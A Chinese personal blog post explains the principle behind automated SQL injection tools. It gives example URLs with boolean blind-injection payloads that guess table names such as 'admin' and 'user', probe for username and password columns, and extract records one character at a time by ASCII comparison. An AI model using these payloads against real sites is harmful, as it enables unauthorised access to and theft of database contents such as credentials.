当前位置:首页 > 大杂烩 > 正文内容

sql注入之猜表猜字段暴库原理

高老师8年前 (2017-08-27)大杂烩2525

前面已经讲了关于是否存在注入点的说明.

现在讲下关于阿D注入和明小子检测存在注入猜表猜字段的原理.(使用工具一定要知道工具原理,方便后期自己完善/开发工具)

1.猜表的方法:

http://xxx.com/ProductShow.asp?articleid=143 and exists(select * from [user])    //查询是否存在user表

http://xxx.com/ProductShow.asp?articleid=143 and exists(select * from [admin]) //查询是否存在admin表

2.猜字段的方法:

http://xxx.com/ProductShow.asp?articleid=143 and exists(select username from [user])    //查询在user表是否存在username字段

http://xxx.com/ProductShow.asp?articleid=143 and exists(select password from [user])    //查询在user表是否存在password字段

3.逐个记录的获取和暴库

  (1).先查询user表第一个记录中username的字段长度

http://xxx.com/ProductShow.asp?articleid=143  and (select top 1 len(username ) from [user])=1  //测试第一个记录用户名长度是不是1

http://xxx.com/ProductShow.asp?articleid=143  and (select top 1 len(username ) from [user])=2  //测试第一个记录用户名长度是不是2

.........直到测试正确

  (2).从上面记录到第一条记录的username的长度(假设是5),开始猜测这个username5位到底是什么,方法就是1位1位的猜测,毕竟

ASCII码不多

http://xxx.com/ProductShow.asp?articleid=143  and (select top 1 asc(mid(user_name ,1,1)) from [user])=97  //测试username第1位是不是a(ASCII中97是字母a)

http://xxx.com/ProductShow.asp?articleid=143  and (select top 1 asc(mid(user_name ,2,1)) from [user])=98  //测试username第2位是不是b(ASCII中98是字母b)

.........直到测试正确

通过工具循环测试很快完成检测整个表中的所有记录

扫描二维码推送至手机访问。

版权声明:本文由高久峰个人博客发布,如需转载请注明出处。

本文链接:https://blog.20230611.cn/post/492.html

分享给朋友:

“sql注入之猜表猜字段暴库原理” 的相关文章

c#中string和StringBuilder效率对比

c#中string和StringBuilder效率对比

    c#中string和StringBuilder直接看看执行速度。(2).String类型累计赋值Test               ...

Git本地仓库学习

Git本地仓库学习

1.全局用户信息设置 git  config  --global  user.name  gaojiufeng git  config  --global  user.email  392223903...

Application的错误使用

Application的错误使用

Application 对象用于存储和访问来自任意页面的变量,类似 Session 对象。不同之处在于所有的用户分享一个 Application 对象,而 session 对象和用户的关系是一一对应的。很多的书籍中介绍的Application对象都喜欢以统计在线人数来介绍Application 对象...

c#关闭计算机的代码

c#关闭计算机的代码

    1.关机Process.Start("shutdown", "-s -t 0");    2. 注销  Proc...

C# md5加密,C# md5加密代码

C# md5加密,C# md5加密代码

public static string GetMD5(string str) {     //创建MD5对象     MD5 md5 = MD5.C...

c#中文简体转换繁体

c#中文简体转换繁体

private const string fantizi = "高久峰是個程序員"; private const string jiantizi = "高久峰是个程序员...